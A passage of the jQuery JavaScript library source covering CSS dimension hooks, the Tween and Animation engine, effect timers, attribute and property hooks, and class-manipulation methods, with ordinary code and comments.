					// Running getBoundingClientRect on a disconnected node
					// in IE throws an error.
					( !elem.getClientRects().length || !elem.getBoundingClientRect().width ) ?
					swap( elem, cssShow, function() {
						return getWidthOrHeight( elem, dimension, extra );
					} ) :
					getWidthOrHeight( elem, dimension, extra );
			}
		},

		set: function( elem, value, extra ) {
			var matches,
				styles = getStyles( elem ),

				// Only read styles.position if the test has a chance to fail
				// to avoid forcing a reflow.
				scrollboxSizeBuggy = !support.scrollboxSize() &&
					styles.position === "absolute",

				// To avoid forcing a reflow, only fetch boxSizing if we need it (gh-3991)
				boxSizingNeeded = scrollboxSizeBuggy || extra,
				isBorderBox = boxSizingNeeded &&
					jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
				subtract = extra ?
					boxModelAdjustment(
						elem,
						dimension,
						extra,
						isBorderBox,
						styles
					) :
					0;

			// Account for unreliable border-box dimensions by comparing offset* to computed and
			// faking a content-box to get border and padding (gh-3699)
			if ( isBorderBox && scrollboxSizeBuggy ) {
				subtract -= Math.ceil(
					elem[ "offset" + dimension[ 0 ].toUpperCase() + dimension.slice( 1 ) ] -
					parseFloat( styles[ dimension ] ) -
					boxModelAdjustment( elem, dimension, "border", false, styles ) -
					0.5
				);
			}

			// Convert to pixels if value adjustment is needed
			if ( subtract && ( matches = rcssNum.exec( value ) ) &&
				( matches[ 3 ] || "px" ) !== "px" ) {

				elem.style[ dimension ] = value;
				value = jQuery.css( elem, dimension );
			}

			return setPositiveNumber( elem, value, subtract );
		}
	};
} );

jQuery.cssHooks.marginLeft = addGetHookIf( support.reliableMarginLeft,
	function( elem, computed ) {
		if ( computed ) {
			return ( parseFloat( curCSS( elem, "marginLeft" ) ) ||
				elem.getBoundingClientRect().left -
					swap( elem, { marginLeft: 0 }, function() {
						return elem.getBoundingClientRect().left;
					} )
			) + "px";
		}
	}
);

// These hooks are used by animate to expand properties
jQuery.each( {
	margin: "",
	padding: "",
	border: "Width"
}, function( prefix, suffix ) {
	jQuery.cssHooks[ prefix + suffix ] = {
		expand: function( value ) {
			var i = 0,
				expanded = {},

				// Assumes a single number if not a string
				parts = typeof value === "string" ? value.split( " " ) : [ value ];

			for ( ; i < 4; i++ ) {
				expanded[ prefix + cssExpand[ i ] + suffix ] =
					parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
			}

			return expanded;
		}
	};

	if ( prefix !== "margin" ) {
		jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
	}
} );

jQuery.fn.extend( {
	css: function( name, value ) {
		return access( this, function( elem, name, value ) {
			var styles, len,
				map = {},
				i = 0;

			if ( Array.isArray( name ) ) {
				styles = getStyles( elem );
				len = name.length;

				for ( ; i < len; i++ ) {
					map[ name[ i ] ] = jQuery.css( elem, name[ i ], false, styles );
				}

				return map;
			}

			return value !== undefined ?
				jQuery.style( elem, name, value ) :
				jQuery.css( elem, name );
		}, name, value, arguments.length > 1 );
	}
} );


function Tween( elem, options, prop, end, easing ) {
	return new Tween.prototype.init( elem, options, prop, end, easing );
}
jQuery.Tween = Tween;

Tween.prototype = {
	constructor: Tween,
	init: function( elem, options, prop, end, easing, unit ) {
		this.elem = elem;
		this.prop = prop;
		this.easing = easing || jQuery.easing._default;
		this.options = options;
		this.start = this.now = this.cur();
		this.end = end;
		this.unit = unit || ( jQuery.cssNumber[ prop ] ? "" : "px" );
	},
	cur: function() {
		var hooks = Tween.propHooks[ this.prop ];

		return hooks && hooks.get ?
			hooks.get( this ) :
			Tween.propHooks._default.get( this );
	},
	run: function( percent ) {
		var eased,
			hooks = Tween.propHooks[ this.prop ];

		if ( this.options.duration ) {
			this.pos = eased = jQuery.easing[ this.easing ](
				percent, this.options.duration * percent, 0, 1, this.options.duration
			);
		} else {
			this.pos = eased = percent;
		}
		this.now = ( this.end - this.start ) * eased + this.start;

		if ( this.options.step ) {
			this.options.step.call( this.elem, this.now, this );
		}

		if ( hooks && hooks.set ) {
			hooks.set( this );
		} else {
			Tween.propHooks._default.set( this );
		}
		return this;
	}
};

Tween.prototype.init.prototype = Tween.prototype;

Tween.propHooks = {
	_default: {
		get: function( tween ) {
			var result;

			// Use a property on the element directly when it is not a DOM element,
			// or when there is no matching style property that exists.
			if ( tween.elem.nodeType !== 1 ||
				tween.elem[ tween.prop ] != null && tween.elem.style[ tween.prop ] == null ) {
				return tween.elem[ tween.prop ];
			}

			// Passing an empty string as a 3rd parameter to .css will automatically
			// attempt a parseFloat and fallback to a string if the parse fails.
			// Simple values such as "10px" are parsed to Float;
			// complex values such as "rotate(1rad)" are returned as-is.
			result = jQuery.css( tween.elem, tween.prop, "" );

			// Empty strings, null, undefined and "auto" are converted to 0.
			return !result || result === "auto" ? 0 : result;
		},
		set: function( tween ) {

			// Use step hook for back compat.
			// Use cssHook if its there.
			// Use .style if available and use plain properties where available.
			if ( jQuery.fx.step[ tween.prop ] ) {
				jQuery.fx.step[ tween.prop ]( tween );
			} else if ( tween.elem.nodeType === 1 && (
				jQuery.cssHooks[ tween.prop ] ||
					tween.elem.style[ finalPropName( tween.prop ) ] != null ) ) {
				jQuery.style( tween.elem, tween.prop, tween.now + tween.unit );
			} else {
				tween.elem[ tween.prop ] = tween.now;
			}
		}
	}
};

// Support: IE <=9 only
// Panic based approach to setting things on disconnected nodes
Tween.propHooks.scrollTop = Tween.propHooks.scrollLeft = {
	set: function( tween ) {
		if ( tween.elem.nodeType && tween.elem.parentNode ) {
			tween.elem[ tween.prop ] = tween.now;
		}
	}
};

jQuery.easing = {
	linear: function( p ) {
		return p;
	},
	swing: function( p ) {
		return 0.5 - Math.cos( p * Math.PI ) / 2;
	},
	_default: "swing"
};

jQuery.fx = Tween.prototype.init;

// Back compat <1.8 extension point
jQuery.fx.step = {};




var
	fxNow, inProgress,
	rfxtypes = /^(?:toggle|show|hide)$/,
	rrun = /queueHooks$/;

function schedule() {
	if ( inProgress ) {
		if ( document.hidden === false && window.requestAnimationFrame ) {
			window.requestAnimationFrame( schedule );
		} else {
			window.setTimeout( schedule, jQuery.fx.interval );
		}

		jQuery.fx.tick();
	}
}

// Animations created synchronously will run synchronously
function createFxNow() {
	window.setTimeout( function() {
		fxNow = undefined;
	} );
	return ( fxNow = Date.now() );
}

// Generate parameters to create a standard animation
function genFx( type, includeWidth ) {
	var which,
		i = 0,
		attrs = { height: type };

	// If we include width, step value is 1 to do all cssExpand values,
	// otherwise step value is 2 to skip over Left and Right
	includeWidth = includeWidth ? 1 : 0;
	for ( ; i < 4; i += 2 - includeWidth ) {
		which = cssExpand[ i ];
		attrs[ "margin" + which ] = attrs[ "padding" + which ] = type;
	}

	if ( includeWidth ) {
		attrs.opacity = attrs.width = type;
	}

	return attrs;
}

function createTween( value, prop, animation ) {
	var tween,
		collection = ( Animation.tweeners[ prop ] || [] ).concat( Animation.tweeners[ "*" ] ),
		index = 0,
		length = collection.length;
	for ( ; index < length; index++ ) {
		if ( ( tween = collection[ index ].call( animation, prop, value ) ) ) {

			// We're done with this property
			return tween;
		}
	}
}

function defaultPrefilter( elem, props, opts ) {
	var prop, value, toggle, hooks, oldfire, propTween, restoreDisplay, display,
		isBox = "width" in props || "height" in props,
		anim = this,
		orig = {},
		style = elem.style,
		hidden = elem.nodeType && isHiddenWithinTree( elem ),
		dataShow = dataPriv.get( elem, "fxshow" );

	// Queue-skipping animations hijack the fx hooks
	if ( !opts.queue ) {
		hooks = jQuery._queueHooks( elem, "fx" );
		if ( hooks.unqueued == null ) {
			hooks.unqueued = 0;
			oldfire = hooks.empty.fire;
			hooks.empty.fire = function() {
				if ( !hooks.unqueued ) {
					oldfire();
				}
			};
		}
		hooks.unqueued++;

		anim.always( function() {

			// Ensure the complete handler is called before this completes
			anim.always( function() {
				hooks.unqueued--;
				if ( !jQuery.queue( elem, "fx" ).length ) {
					hooks.empty.fire();
				}
			} );
		} );
	}

	// Detect show/hide animations
	for ( prop in props ) {
		value = props[ prop ];
		if ( rfxtypes.test( value ) ) {
			delete props[ prop ];
			toggle = toggle || value === "toggle";
			if ( value === ( hidden ? "hide" : "show" ) ) {

				// Pretend to be hidden if this is a "show" and
				// there is still data from a stopped show/hide
				if ( value === "show" && dataShow && dataShow[ prop ] !== undefined ) {
					hidden = true;

				// Ignore all other no-op show/hide data
				} else {
					continue;
				}
			}
			orig[ prop ] = dataShow && dataShow[ prop ] || jQuery.style( elem, prop );
		}
	}

	// Bail out if this is a no-op like .hide().hide()
	propTween = !jQuery.isEmptyObject( props );
	if ( !propTween && jQuery.isEmptyObject( orig ) ) {
		return;
	}

	// Restrict "overflow" and "display" styles during box animations
	if ( isBox && elem.nodeType === 1 ) {

		// Support: IE <=9 - 11, Edge 12 - 15
		// Record all 3 overflow attributes because IE does not infer the shorthand
		// from identically-valued overflowX and overflowY and Edge just mirrors
		// the overflowX value there.
		opts.overflow = [ style.overflow, style.overflowX, style.overflowY ];

		// Identify a display type, preferring old show/hide data over the CSS cascade
		restoreDisplay = dataShow && dataShow.display;
		if ( restoreDisplay == null ) {
			restoreDisplay = dataPriv.get( elem, "display" );
		}
		display = jQuery.css( elem, "display" );
		if ( display === "none" ) {
			if ( restoreDisplay ) {
				display = restoreDisplay;
			} else {

				// Get nonempty value(s) by temporarily forcing visibility
				showHide( [ elem ], true );
				restoreDisplay = elem.style.display || restoreDisplay;
				display = jQuery.css( elem, "display" );
				showHide( [ elem ] );
			}
		}

		// Animate inline elements as inline-block
		if ( display === "inline" || display === "inline-block" && restoreDisplay != null ) {
			if ( jQuery.css( elem, "float" ) === "none" ) {

				// Restore the original display value at the end of pure show/hide animations
				if ( !propTween ) {
					anim.done( function() {
						style.display = restoreDisplay;
					} );
					if ( restoreDisplay == null ) {
						display = style.display;
						restoreDisplay = display === "none" ? "" : display;
					}
				}
				style.display = "inline-block";
			}
		}
	}

	if ( opts.overflow ) {
		style.overflow = "hidden";
		anim.always( function() {
			style.overflow = opts.overflow[ 0 ];
			style.overflowX = opts.overflow[ 1 ];
			style.overflowY = opts.overflow[ 2 ];
		} );
	}

	// Implement show/hide animations
	propTween = false;
	for ( prop in orig ) {

		// General show/hide setup for this element animation
		if ( !propTween ) {
			if ( dataShow ) {
				if ( "hidden" in dataShow ) {
					hidden = dataShow.hidden;
				}
			} else {
				dataShow = dataPriv.access( elem, "fxshow", { display: restoreDisplay } );
			}

			// Store hidden/visible for toggle so `.stop().toggle()` "reverses"
			if ( toggle ) {
				dataShow.hidden = !hidden;
			}

			// Show elements before animating them
			if ( hidden ) {
				showHide( [ elem ], true );
			}

			/* eslint-disable no-loop-func */

			anim.done( function() {

				/* eslint-enable no-loop-func */

				// The final step of a "hide" animation is actually hiding the element
				if ( !hidden ) {
					showHide( [ elem ] );
				}
				dataPriv.remove( elem, "fxshow" );
				for ( prop in orig ) {
					jQuery.style( elem, prop, orig[ prop ] );
				}
			} );
		}

		// Per-property setup
		propTween = createTween( hidden ? dataShow[ prop ] : 0, prop, anim );
		if ( !( prop in dataShow ) ) {
			dataShow[ prop ] = propTween.start;
			if ( hidden ) {
				propTween.end = propTween.start;
				propTween.start = 0;
			}
		}
	}
}

function propFilter( props, specialEasing ) {
	var index, name, easing, value, hooks;

	// camelCase, specialEasing and expand cssHook pass
	for ( index in props ) {
		name = camelCase( index );
		easing = specialEasing[ name ];
		value = props[ index ];
		if ( Array.isArray( value ) ) {
			easing = value[ 1 ];
			value = props[ index ] = value[ 0 ];
		}

		if ( index !== name ) {
			props[ name ] = value;
			delete props[ index ];
		}

		hooks = jQuery.cssHooks[ name ];
		if ( hooks && "expand" in hooks ) {
			value = hooks.expand( value );
			delete props[ name ];

			// Not quite $.extend, this won't overwrite existing keys.
			// Reusing 'index' because we have the correct "name"
			for ( index in value ) {
				if ( !( index in props ) ) {
					props[ index ] = value[ index ];
					specialEasing[ index ] = easing;
				}
			}
		} else {
			specialEasing[ name ] = easing;
		}
	}
}

function Animation( elem, properties, options ) {
	var result,
		stopped,
		index = 0,
		length = Animation.prefilters.length,
		deferred = jQuery.Deferred().always( function() {

			// Don't match elem in the :animated selector
			delete tick.elem;
		} ),
		tick = function() {
			if ( stopped ) {
				return false;
			}
			var currentTime = fxNow || createFxNow(),
				remaining = Math.max( 0, animation.startTime + animation.duration - currentTime ),

				// Support: Android 2.3 only
				// Archaic crash bug won't allow us to use `1 - ( 0.5 || 0 )` (#12497)
				temp = remaining / animation.duration || 0,
				percent = 1 - temp,
				index = 0,
				length = animation.tweens.length;

			for ( ; index < length; index++ ) {
				animation.tweens[ index ].run( percent );
			}

			deferred.notifyWith( elem, [ animation, percent, remaining ] );

			// If there's more to do, yield
			if ( percent < 1 && length ) {
				return remaining;
			}

			// If this was an empty animation, synthesize a final progress notification
			if ( !length ) {
				deferred.notifyWith( elem, [ animation, 1, 0 ] );
			}

			// Resolve the animation and report its conclusion
			deferred.resolveWith( elem, [ animation ] );
			return false;
		},
		animation = deferred.promise( {
			elem: elem,
			props: jQuery.extend( {}, properties ),
			opts: jQuery.extend( true, {
				specialEasing: {},
				easing: jQuery.easing._default
			}, options ),
			originalProperties: properties,
			originalOptions: options,
			startTime: fxNow || createFxNow(),
			duration: options.duration,
			tweens: [],
			createTween: function( prop, end ) {
				var tween = jQuery.Tween( elem, animation.opts, prop, end,
					animation.opts.specialEasing[ prop ] || animation.opts.easing );
				animation.tweens.push( tween );
				return tween;
			},
			stop: function( gotoEnd ) {
				var index = 0,

					// If we are going to the end, we want to run all the tweens
					// otherwise we skip this part
					length = gotoEnd ? animation.tweens.length : 0;
				if ( stopped ) {
					return this;
				}
				stopped = true;
				for ( ; index < length; index++ ) {
					animation.tweens[ index ].run( 1 );
				}

				// Resolve when we played the last frame; otherwise, reject
				if ( gotoEnd ) {
					deferred.notifyWith( elem, [ animation, 1, 0 ] );
					deferred.resolveWith( elem, [ animation, gotoEnd ] );
				} else {
					deferred.rejectWith( elem, [ animation, gotoEnd ] );
				}
				return this;
			}
		} ),
		props = animation.props;

	propFilter( props, animation.opts.specialEasing );

	for ( ; index < length; index++ ) {
		result = Animation.prefilters[ index ].call( animation, elem, props, animation.opts );
		if ( result ) {
			if ( isFunction( result.stop ) ) {
				jQuery._queueHooks( animation.elem, animation.opts.queue ).stop =
					result.stop.bind( result );
			}
			return result;
		}
	}

	jQuery.map( props, createTween, animation );

	if ( isFunction( animation.opts.start ) ) {
		animation.opts.start.call( elem, animation );
	}

	// Attach callbacks from options
	animation
		.progress( animation.opts.progress )
		.done( animation.opts.done, animation.opts.complete )
		.fail( animation.opts.fail )
		.always( animation.opts.always );

	jQuery.fx.timer(
		jQuery.extend( tick, {
			elem: elem,
			anim: animation,
			queue: animation.opts.queue
		} )
	);

	return animation;
}

jQuery.Animation = jQuery.extend( Animation, {

	tweeners: {
		"*": [ function( prop, value ) {
			var tween = this.createTween( prop, value );
			adjustCSS( tween.elem, prop, rcssNum.exec( value ), tween );
			return tween;
		} ]
	},

	tweener: function( props, callback ) {
		if ( isFunction( props ) ) {
			callback = props;
			props = [ "*" ];
		} else {
			props = props.match( rnothtmlwhite );
		}

		var prop,
			index = 0,
			length = props.length;

		for ( ; index < length; index++ ) {
			prop = props[ index ];
			Animation.tweeners[ prop ] = Animation.tweeners[ prop ] || [];
			Animation.tweeners[ prop ].unshift( callback );
		}
	},

	prefilters: [ defaultPrefilter ],

	prefilter: function( callback, prepend ) {
		if ( prepend ) {
			Animation.prefilters.unshift( callback );
		} else {
			Animation.prefilters.push( callback );
		}
	}
} );

jQuery.speed = function( speed, easing, fn ) {
	var opt = speed && typeof speed === "object" ? jQuery.extend( {}, speed ) : {
		complete: fn || !fn && easing ||
			isFunction( speed ) && speed,
		duration: speed,
		easing: fn && easing || easing && !isFunction( easing ) && easing
	};

	// Go to the end state if fx are off
	if ( jQuery.fx.off ) {
		opt.duration = 0;

	} else {
		if ( typeof opt.duration !== "number" ) {
			if ( opt.duration in jQuery.fx.speeds ) {
				opt.duration = jQuery.fx.speeds[ opt.duration ];

			} else {
				opt.duration = jQuery.fx.speeds._default;
			}
		}
	}

	// Normalize opt.queue - true/undefined/null -> "fx"
	if ( opt.queue == null || opt.queue === true ) {
		opt.queue = "fx";
	}

	// Queueing
	opt.old = opt.complete;

	opt.complete = function() {
		if ( isFunction( opt.old ) ) {
			opt.old.call( this );
		}

		if ( opt.queue ) {
			jQuery.dequeue( this, opt.queue );
		}
	};

	return opt;
};

jQuery.fn.extend( {
	fadeTo: function( speed, to, easing, callback ) {

		// Show any hidden elements after setting opacity to 0
		return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show()

			// Animate to the value specified
			.end().animate( { opacity: to }, speed, easing, callback );
	},
	animate: function( prop, speed, easing, callback ) {
		var empty = jQuery.isEmptyObject( prop ),
			optall = jQuery.speed( speed, easing, callback ),
			doAnimation = function() {

				// Operate on a copy of prop so per-property easing won't be lost
				var anim = Animation( this, jQuery.extend( {}, prop ), optall );

				// Empty animations, or finishing resolves immediately
				if ( empty || dataPriv.get( this, "finish" ) ) {
					anim.stop( true );
				}
			};

		doAnimation.finish = doAnimation;

		return empty || optall.queue === false ?
			this.each( doAnimation ) :
			this.queue( optall.queue, doAnimation );
	},
	stop: function( type, clearQueue, gotoEnd ) {
		var stopQueue = function( hooks ) {
			var stop = hooks.stop;
			delete hooks.stop;
			stop( gotoEnd );
		};

		if ( typeof type !== "string" ) {
			gotoEnd = clearQueue;
			clearQueue = type;
			type = undefined;
		}
		if ( clearQueue ) {
			this.queue( type || "fx", [] );
		}

		return this.each( function() {
			var dequeue = true,
				index = type != null && type + "queueHooks",
				timers = jQuery.timers,
				data = dataPriv.get( this );

			if ( index ) {
				if ( data[ index ] && data[ index ].stop ) {
					stopQueue( data[ index ] );
				}
			} else {
				for ( index in data ) {
					if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
						stopQueue( data[ index ] );
					}
				}
			}

			for ( index = timers.length; index--; ) {
				if ( timers[ index ].elem === this &&
					( type == null || timers[ index ].queue === type ) ) {

					timers[ index ].anim.stop( gotoEnd );
					dequeue = false;
					timers.splice( index, 1 );
				}
			}

			// Start the next in the queue if the last step wasn't forced.
			// Timers currently will call their complete callbacks, which
			// will dequeue but only if they were gotoEnd.
			if ( dequeue || !gotoEnd ) {
				jQuery.dequeue( this, type );
			}
		} );
	},
	finish: function( type ) {
		if ( type !== false ) {
			type = type || "fx";
		}
		return this.each( function() {
			var index,
				data = dataPriv.get( this ),
				queue = data[ type + "queue" ],
				hooks = data[ type + "queueHooks" ],
				timers = jQuery.timers,
				length = queue ? queue.length : 0;

			// Enable finishing flag on private data
			data.finish = true;

			// Empty the queue first
			jQuery.queue( this, type, [] );

			if ( hooks && hooks.stop ) {
				hooks.stop.call( this, true );
			}

			// Look for any active animations, and finish them
			for ( index = timers.length; index--; ) {
				if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
					timers[ index ].anim.stop( true );
					timers.splice( index, 1 );
				}
			}

			// Look for any animations in the old queue and finish them
			for ( index = 0; index < length; index++ ) {
				if ( queue[ index ] && queue[ index ].finish ) {
					queue[ index ].finish.call( this );
				}
			}

			// Turn off finishing flag
			delete data.finish;
		} );
	}
} );

jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) {
	var cssFn = jQuery.fn[ name ];
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return speed == null || typeof speed === "boolean" ?
			cssFn.apply( this, arguments ) :
			this.animate( genFx( name, true ), speed, easing, callback );
	};
} );

// Generate shortcuts for custom animations
jQuery.each( {
	slideDown: genFx( "show" ),
	slideUp: genFx( "hide" ),
	slideToggle: genFx( "toggle" ),
	fadeIn: { opacity: "show" },
	fadeOut: { opacity: "hide" },
	fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return this.animate( props, speed, easing, callback );
	};
} );

jQuery.timers = [];
jQuery.fx.tick = function() {
	var timer,
		i = 0,
		timers = jQuery.timers;

	fxNow = Date.now();

	for ( ; i < timers.length; i++ ) {
		timer = timers[ i ];

		// Run the timer and safely remove it when done (allowing for external removal)
		if ( !timer() && timers[ i ] === timer ) {
			timers.splice( i--, 1 );
		}
	}

	if ( !timers.length ) {
		jQuery.fx.stop();
	}
	fxNow = undefined;
};

jQuery.fx.timer = function( timer ) {
	jQuery.timers.push( timer );
	jQuery.fx.start();
};

jQuery.fx.interval = 13;
jQuery.fx.start = function() {
	if ( inProgress ) {
		return;
	}

	inProgress = true;
	schedule();
};

jQuery.fx.stop = function() {
	inProgress = null;
};

jQuery.fx.speeds = {
	slow: 600,
	fast: 200,

	// Default speed
	_default: 400
};


// Based off of the plugin by Clint Helfers, with permission.
// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
jQuery.fn.delay = function( time, type ) {
	time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
	type = type || "fx";

	return this.queue( type, function( next, hooks ) {
		var timeout = window.setTimeout( next, time );
		hooks.stop = function() {
			window.clearTimeout( timeout );
		};
	} );
};


( function() {
	var input = document.createElement( "input" ),
		select = document.createElement( "select" ),
		opt = select.appendChild( document.createElement( "option" ) );

	input.type = "checkbox";

	// Support: Android <=4.3 only
	// Default value for a checkbox should be "on"
	support.checkOn = input.value !== "";

	// Support: IE <=11 only
	// Must access selectedIndex to make default options select
	support.optSelected = opt.selected;

	// Support: IE <=11 only
	// An input loses its value after becoming a radio
	input = document.createElement( "input" );
	input.value = "t";
	input.type = "radio";
	support.radioValue = input.value === "t";
} )();


var boolHook,
	attrHandle = jQuery.expr.attrHandle;

jQuery.fn.extend( {
	attr: function( name, value ) {
		return access( this, jQuery.attr, name, value, arguments.length > 1 );
	},

	removeAttr: function( name ) {
		return this.each( function() {
			jQuery.removeAttr( this, name );
		} );
	}
} );

jQuery.extend( {
	attr: function( elem, name, value ) {
		var ret, hooks,
			nType = elem.nodeType;

		// Don't get/set attributes on text, comment and attribute nodes
		if ( nType === 3 || nType === 8 || nType === 2 ) {
			return;
		}

		// Fallback to prop when attributes are not supported
		if ( typeof elem.getAttribute === "undefined" ) {
			return jQuery.prop( elem, name, value );
		}

		// Attribute hooks are determined by the lowercase version
		// Grab necessary hook if one is defined
		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
			hooks = jQuery.attrHooks[ name.toLowerCase() ] ||
				( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
		}

		if ( value !== undefined ) {
			if ( value === null ) {
				jQuery.removeAttr( elem, name );
				return;
			}

			if ( hooks && "set" in hooks &&
				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
				return ret;
			}

			elem.setAttribute( name, value + "" );
			return value;
		}

		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
			return ret;
		}

		ret = jQuery.find.attr( elem, name );

		// Non-existent attributes return null, we normalize to undefined
		return ret == null ? undefined : ret;
	},

	attrHooks: {
		type: {
			set: function( elem, value ) {
				if ( !support.radioValue && value === "radio" &&
					nodeName( elem, "input" ) ) {
					var val = elem.value;
					elem.setAttribute( "type", value );
					if ( val ) {
						elem.value = val;
					}
					return value;
				}
			}
		}
	},

	removeAttr: function( elem, value ) {
		var name,
			i = 0,

			// Attribute names can contain non-HTML whitespace characters
			// https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
			attrNames = value && value.match( rnothtmlwhite );

		if ( attrNames && elem.nodeType === 1 ) {
			while ( ( name = attrNames[ i++ ] ) ) {
				elem.removeAttribute( name );
			}
		}
	}
} );

// Hooks for boolean attributes
boolHook = {
	set: function( elem, value, name ) {
		if ( value === false ) {

			// Remove boolean attributes when set to false
			jQuery.removeAttr( elem, name );
		} else {
			elem.setAttribute( name, name );
		}
		return name;
	}
};

jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) {
	var getter = attrHandle[ name ] || jQuery.find.attr;

	attrHandle[ name ] = function( elem, name, isXML ) {
		var ret, handle,
			lowercaseName = name.toLowerCase();

		if ( !isXML ) {

			// Avoid an infinite loop by temporarily removing this function from the getter
			handle = attrHandle[ lowercaseName ];
			attrHandle[ lowercaseName ] = ret;
			ret = getter( elem, name, isXML ) != null ?
				lowercaseName :
				null;
			attrHandle[ lowercaseName ] = handle;
		}
		return ret;
	};
} );




var rfocusable = /^(?:input|select|textarea|button)$/i,
	rclickable = /^(?:a|area)$/i;

jQuery.fn.extend( {
	prop: function( name, value ) {
		return access( this, jQuery.prop, name, value, arguments.length > 1 );
	},

	removeProp: function( name ) {
		return this.each( function() {
			delete this[ jQuery.propFix[ name ] || name ];
		} );
	}
} );

jQuery.extend( {
	prop: function( elem, name, value ) {
		var ret, hooks,
			nType = elem.nodeType;

		// Don't get/set properties on text, comment and attribute nodes
		if ( nType === 3 || nType === 8 || nType === 2 ) {
			return;
		}

		if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {

			// Fix name and attach hooks
			name = jQuery.propFix[ name ] || name;
			hooks = jQuery.propHooks[ name ];
		}

		if ( value !== undefined ) {
			if ( hooks && "set" in hooks &&
				( ret = hooks.set( elem, value, name ) ) !== undefined ) {
				return ret;
			}

			return ( elem[ name ] = value );
		}

		if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
			return ret;
		}

		return elem[ name ];
	},

	propHooks: {
		tabIndex: {
			get: function( elem ) {

				// Support: IE <=9 - 11 only
				// elem.tabIndex doesn't always return the
				// correct value when it hasn't been explicitly set
				// https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
				// Use proper attribute retrieval(#12072)
				var tabindex = jQuery.find.attr( elem, "tabindex" );

				if ( tabindex ) {
					return parseInt( tabindex, 10 );
				}

				if (
					rfocusable.test( elem.nodeName ) ||
					rclickable.test( elem.nodeName ) &&
					elem.href
				) {
					return 0;
				}

				return -1;
			}
		}
	},

	propFix: {
		"for": "htmlFor",
		"class": "className"
	}
} );

// Support: IE <=11 only
// Accessing the selectedIndex property
// forces the browser to respect setting selected
// on the option
// The getter ensures a default option is selected
// when in an optgroup
// eslint rule "no-unused-expressions" is disabled for this code
// since it considers such accessions noop
if ( !support.optSelected ) {
	jQuery.propHooks.selected = {
		get: function( elem ) {

			/* eslint no-unused-expressions: "off" */

			var parent = elem.parentNode;
			if ( parent && parent.parentNode ) {
				parent.parentNode.selectedIndex;
			}
			return null;
		},
		set: function( elem ) {

			/* eslint no-unused-expressions: "off" */

			var parent = elem.parentNode;
			if ( parent ) {
				parent.selectedIndex;

				if ( parent.parentNode ) {
					parent.parentNode.selectedIndex;
				}
			}
		}
	};
}

jQuery.each( [
	"tabIndex",
	"readOnly",
	"maxLength",
	"cellSpacing",
	"cellPadding",
	"rowSpan",
	"colSpan",
	"useMap",
	"frameBorder",
	"contentEditable"
], function() {
	jQuery.propFix[ this.toLowerCase() ] = this;
} );




	// Strip and collapse whitespace according to HTML spec
	// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
	function stripAndCollapse( value ) {
		var tokens = value.match( rnothtmlwhite ) || [];
		return tokens.join( " " );
	}


function getClass( elem ) {
	return elem.getAttribute && elem.getAttribute( "class" ) || "";
}

function classesToArray( value ) {
	if ( Array.isArray( value ) ) {
		return value;
	}
	if ( typeof value === "string" ) {
		return value.match( rnothtmlwhite ) || [];
	}
	return [];
}

jQuery.fn.extend( {
	addClass: function( value ) {
		var classes, elem, cur, curValue, clazz, j, finalValue,
			i = 0;

		if ( isFunction( value ) ) {
			return this.each( function( j ) {
				jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
			} );
		}

		classes = classesToArray( value );

		if ( classes.length ) {
			while ( ( elem = this[ i++ ] ) ) {
				curValue = getClass( elem );
				cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );

				if ( cur ) {
					j = 0;
					while ( ( clazz = classes[ j++ ] ) ) {
						if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
							cur += clazz + " ";
						}
					}

					// Only assign if different to avoid unneeded rendering.
					finalValue = stripAndCollapse( cur );
					if ( curValue !== finalValue ) {
						elem.setAttribute( "class", finalValue );
					}
				}
			}
		}

		return this;
	},

	removeClass: function( value ) {
		var classes, elem, cur, curValue, clazz, j, finalValue,
			i = 0;

		if ( isFunction( value ) ) {
			return this.each( function( j ) {
				jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
			} );
		}

		if ( !arguments.length ) {
			return this.attr( "class", "" );
		}

		classes = classesToArray( value );

		if ( classes.length ) {
			while ( ( elem = this[ i++ ] ) ) {
				curValue = getClass( elem );

				// This expression is here for better compressibility (see addClass)
				cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );

				if ( cur ) {
					j = 0;
					while ( ( clazz = classes[ j++ ] ) ) {

						// Remove *all* instances
						while ( cur.indexOf( " " + clazz + " " ) > -1 ) {
							cur = cur.replace( " " + clazz + " ", " " );
						}
					}

					// Only assign if different to avoid unneeded rendering.
					finalValue = stripAndCollapse( cur );
					if ( curValue !== finalValue ) {
						elem.setAttribute( "class", finalValue );
					}
				}
			}
		}

		return this;
	},

	toggleClass: function( value, stateVal ) {
		var type = typeof value,
			isValidValue = type === "string" || Array.isArray( value );

		if ( typeof stateVal === "boolean" && isValidValue ) {
			return stateVal ? this.addClass( value ) : this.removeClass( value );
		}

		if ( isFunction( value ) ) {
			return this.each( function( i ) {
				jQuery( this ).toggleClass(
					value.call( this, i, getClass( this ), stateVal ),
					stateVal
				);
			} );
		}

		return this.each( function() {
			var className, i, self, classNames;

			if ( isValidValue ) {

				// Toggle individual class names
				i = 0;
				self = jQuery( this );
				classNames = classesToArray( value );

				while ( ( className = classNames[ i++ ] ) ) {

					// Check each className given, space separated list
					if ( self.hasClass( className ) ) {
						self.removeClass( className );
					} else {
